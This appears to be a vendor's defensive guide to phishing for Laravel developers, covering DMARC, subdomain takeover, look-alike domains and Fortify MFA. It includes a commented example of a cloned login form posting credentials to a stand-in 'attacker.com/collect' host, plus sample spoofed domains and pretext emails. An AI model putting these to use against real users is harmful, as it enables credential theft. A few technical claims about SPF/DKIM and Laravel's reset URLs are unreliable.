What Is Phishing?

How It Works

Phishing attacks follow a predictable sequence that developers can disrupt at multiple stages through both technical controls and infrastructure hardening.

Step 1: Infrastructure setup — The attacker registers a look-alike domain (yourapp-security.com, yourapp.co, yourapp-login.com) or takes over an abandoned subdomain of your real domain (staging.yourapp.com, secure.yourapp.com). They obtain a TLS certificate via Let's Encrypt — this gives their fake site a padlock and https:// in the browser, which many users equate with legitimacy.

Step 2: Phishing page creation — The attacker clones your login page using wget --mirror or browser developer tools, copies your CSS, fonts, and images, and modifies the form action to post credentials to their collection server. The page looks identical to your real login page. On mobile where URLs are truncated, users may not even see the domain name.

Step 3: Email campaign — The attacker sends emails from your exact domain (possible if DMARC is missing or set to p=none) or from a look-alike domain. Common pretexts: account security alerts, password reset requests, payment failures, new login from unknown device. The email contains a link to the phishing page. Without DMARC p=reject, emails from @yourapp.com sent by the attacker pass email filters because they pass SPF and DKIM checks on the attacker's infrastructure.

Step 4: Credential harvesting — The victim clicks the link, sees a familiar login page with a padlock, enters their username and password. The phishing server logs the credentials, then either redirects to the real site (so the victim thinks nothing happened) or shows an error (which the victim dismisses).

Step 5: Account takeover — The attacker uses the harvested credentials at the real site. Without MFA, login succeeds immediately. The attacker may change email, disable MFA, and extract data before the user notices.

Types of Phishing

Domain Spoofing via Missing DMARC

Attacker sends emails from your exact domain address when DMARC is absent or set to `p=none` — receiving mail servers deliver the spoofed email to user inboxes.

# From: noreply@yourapp.com (sent by attacker)
# Subject: Your account has been suspended
# Without DMARC p=reject, this email is delivered to your users
dig TXT _dmarc.yourapp.com
# → no record found  ← VULNERABLE: domain spoofing possible

Subdomain-Based Phishing

Attacker takes over an abandoned subdomain and hosts a fake login page — the URL shows your real domain name, increasing victim trust.

# Attacker controls staging.yourapp.com via subdomain takeover
# Hosts: <form action="https://attacker.com/collect"> on login clone
# URL shown to user: https://staging.yourapp.com/login
# User sees: valid HTTPS + your real domain name

Look-Alike Domain Attack

Attacker registers a visually similar domain and clones your application login page — SPF/DKIM/DMARC on your real domain offers no protection.

# Registered by attacker:
# yourapp-security.com
# yourоapp.com (Cyrillic "о" looks like Latin "o")
# yourapp.co
# y0urapp.com (zero instead of "o")
# These bypass DMARC — they are different domains

Spear Phishing

Highly targeted phishing using personalized information about the victim (name, recent activity, colleagues) to increase credibility of the deception.

# Personalized phishing email:
# "Hi [Firstname], we noticed your account was accessed
# from Chicago at 3:14 PM — unusual for your account.
# Please verify your identity: [link to phishing page]"
# Victim recognizes their name and assumes email is legitimate

In Laravel Applications

Protect your Laravel application's users from phishing by implementing SPF/DKIM/DMARC (preventing email spoofing from your domain), preventing subdomain takeovers (which can host fake login pages), and using HTTPS everywhere.

Code Examples

MFA Implementation with Laravel Fortify

Vulnerable

// No MFA — phished credentials immediately enable account takeover
// routes/web.php — standard login with no second factor
Route::post('/login', [AuthenticatedSessionController::class, 'store']);
// If attacker captures username + password via phishing:
// → Account is immediately compromised, no second factor needed

Secure

// SECURE: Enable two-factor authentication with Laravel Fortify
// config/fortify.php
return [
    'features' => [
        Features::registration(),
        Features::resetPasswords(),
        Features::emailVerification(),
        Features::updateProfileInformation(),
        Features::updatePasswords(),
        Features::twoFactorAuthentication([  // Enable TOTP-based 2FA
            'confirm' => true,              // Require password confirmation to enable
            'confirmPassword' => true,
        ]),
    ],
];
// Users enable 2FA in their profile settings
// Even with phished credentials, attacker needs the TOTP code
// which rotates every 30 seconds and is only on the user's device

Password Reset Flow: Phishing-Resistant Design

Vulnerable

// VULNERABLE: Password reset link contains only the token — easy to clone
// Email body: "Reset your password: https://yourapp.com/reset/TOKEN"
// Attacker in MitM position or phishing page can capture and replay token
// No binding between token and user's email session

Secure

// SECURE: Password reset using signed URL with expiry (Laravel built-in)
// Laravel's built-in password reset already uses signed URLs:
// https://yourapp.com/reset-password/TOKEN?email=user%40example.com&expires=...&signature=...

// Additionally, in ResetPasswordController, verify the email matches:
public function reset(Request $request)
{
    $status = Password::reset(
        $request->only('email', 'password', 'password_confirmation', 'token'),
        function (User $user, string $password) {
            $user->forceFill(['password' => Hash::make($password)])->save();
            // Invalidate all existing sessions after password reset
            Auth::logoutOtherDevices($password);
        }
    );
    // ...
}

Real-World Example

An attacker takes over an abandoned subdomain (staging.yourapp.com) and creates a fake login page. They send emails from your domain (possible without DMARC) directing users to the fake page.

Why It Matters

Phishing is the most successful attack vector in the modern threat landscape because it targets humans rather than technical vulnerabilities. No amount of application hardening prevents a user from clicking a convincing phishing link and entering their credentials on a fake login page. The defense is a combination of making phishing harder to execute (SPF/DKIM/DMARC, HTTPS, subdomain security) and making successful phishing less damaging (multi-factor authentication).

Laravel application users are targeted with phishing attacks that leverage your brand: fake password reset emails, fake account suspension notices, fake payment confirmations. If your domain lacks DMARC enforcement, attackers can send emails from your exact domain address. If you have abandoned subdomains, attackers can host fake login pages on login.yourapp.com or secure.yourapp.com.

Multi-factor authentication (MFA) is the single most effective mitigation for phishing. Even if an attacker captures a user's username and password via a phishing site, MFA prevents them from completing the login without the second factor. Laravel Fortify and Laravel Breeze both support TOTP-based MFA out of the box.

Security awareness for your users — clear communication about what your application will and will not ask them to do via email — reduces click rates on phishing emails. Publishing a clear security policy and using consistent email communication patterns makes anomalies more obvious to attentive users.

Common Misconceptions

Myth: Our users are too sophisticated to fall for phishing.

Reality: Modern phishing attacks are highly convincing and increasingly targeted (spear phishing). Even security professionals fall victim to well-crafted attacks. Technical controls (DMARC, MFA) are more reliable than user sophistication.

Myth: HTTPS on our login page prevents phishing.

Reality: Phishing sites also use HTTPS — Let's Encrypt provides free certificates to anyone, including attackers. HTTPS indicates encryption, not legitimacy. Users seeing the padlock icon on a phishing site still get phished.

Myth: Phishing attacks target our users, not our application — it is not a developer security issue.

Reality: Successful phishing attacks result in compromised user accounts in your application. Developers are responsible for the controls that limit phishing success: DMARC, MFA, subdomain monitoring, and session security after credential compromise.

How to Detect This

Check your DMARC record with `dig TXT _dmarc.yourdomain.com` — if absent or set to `p=none`, attackers can spoof your domain in phishing emails. Monitor DMARC reports by configuring `rua=mailto:dmarc@yourdomain.com` in your DMARC record to receive XML reports of spoofing attempts. Search for your brand in phishing databases using phishtank.com and Google Safe Browsing. StackShield monitors your subdomains for takeover risks (a common phishing infrastructure vector), checks DMARC enforcement, and alerts when DNS changes could enable phishing campaigns. Review your Laravel user authentication logs for unusual credential reuse patterns shortly after any suspected phishing campaign.

How to Prevent This in Laravel

1
Implement DMARC with `p=reject` on your domain to prevent attackers from sending phishing emails from your exact domain address — start with `p=none` and aggregate reports, then escalate to `p=quarantine` and `p=reject`.
2
Enable multi-factor authentication in your Laravel application using Laravel Fortify's `Features::twoFactorAuthentication()` — MFA makes phished passwords useless to attackers who lack the second factor.
3
Monitor your subdomains for takeover risks with StackShield — abandoned subdomains are common phishing infrastructure because they display your real domain name to victims.
4
Register common look-alike domains (yourapp.co, yourapp-security.com, yourapp.net) and redirect them to your real domain — reducing the attack surface for look-alike domain phishing.
5
Implement `session()->invalidate()` and `session()->regenerateToken()` after successful login to prevent session fixation, and `Auth::logoutOtherDevices($password)` after password reset to terminate attacker sessions.
6
Communicate clearly to users what your application will never ask by email — a published security policy ("We will never ask for your password via email") helps users identify phishing attempts.

Frequently Asked Questions

Does HTTPS on my login page protect against phishing?

No. Phishing sites routinely use HTTPS with valid Let's Encrypt certificates — a padlock in the browser address bar indicates that the connection is encrypted, not that the site is legitimate. Attackers obtain free certificates for their phishing domains in minutes. The only reliable indicators of legitimacy are the exact domain name in the address bar and browser-stored passkeys or hardware security keys (which are phishing-resistant because they verify the domain cryptographically before releasing credentials).

What can I do in my Laravel app to protect users whose passwords have been phished?

MFA is the primary control — even with a phished password, the attacker cannot log in without the rotating TOTP code from the user's phone. Additionally, implement anomalous login detection: compare the login IP against the user's historical IPs, flag logins from new countries, and send email notifications for new device logins (so users can terminate unauthorized sessions). The `Auth::logoutOtherDevices()` method terminates all other active sessions when the user logs in from a new device with their password.

How do look-alike domain attacks work and how do I defend against them?

Attackers register domains that look visually similar to yours: `yourapp.co`, `yourapp-login.com`, `y0urapp.com` (zero not O), or homograph attacks using Unicode characters that look like Latin letters. SPF/DKIM/DMARC on your real domain offer no protection against look-alike domains because they are genuinely different domains. Defenses include: registering the most likely look-alike domains yourself, monitoring for new domain registrations containing your brand name (services like DomainMonitor), and training users to check the exact URL before entering credentials.

How should I respond if I discover my users have been targeted by a phishing campaign?

Immediately notify affected users that a phishing campaign is active and instruct them to change their passwords if they clicked any suspicious link. Force-invalidate sessions for potentially compromised accounts using `DB::table('sessions')->where('user_id', $userId)->delete()`. Check DMARC reports to understand the scale of the spoofing campaign. If the phishing site is using your subdomain (takeover), work with the hosting provider to take it down. File a report with Google Safe Browsing to get the phishing page flagged for Chrome and Firefox users.

Related Terms

SPF, DKIM, and DMARC

Three complementary email authentication standards that prevent email spoofing. SPF (Sender Policy Framework) specifies which servers can send email for your domain. DKIM (DomainKeys Identified Mail) adds a cryptographic signature to verify emails were not tampered with. DMARC (Domain-based Message Authentication, Reporting & Conformance) tells receiving servers how to handle emails that fail SPF/DKIM checks.

Subdomain Takeover

A vulnerability where a DNS record (usually a CNAME) points to an external service that is no longer controlled by the domain owner. An attacker can claim the abandoned service and serve their own content on the subdomain, which appears to be part of the legitimate domain.

Related Fix Guides

High

Laravel Open Redirect: How to Validate Redirect URLs and Prevent Phishing Attacks

Redirects using unvalidated user input let attackers craft links that appear to come from your domain but redirect victims to malicious sites.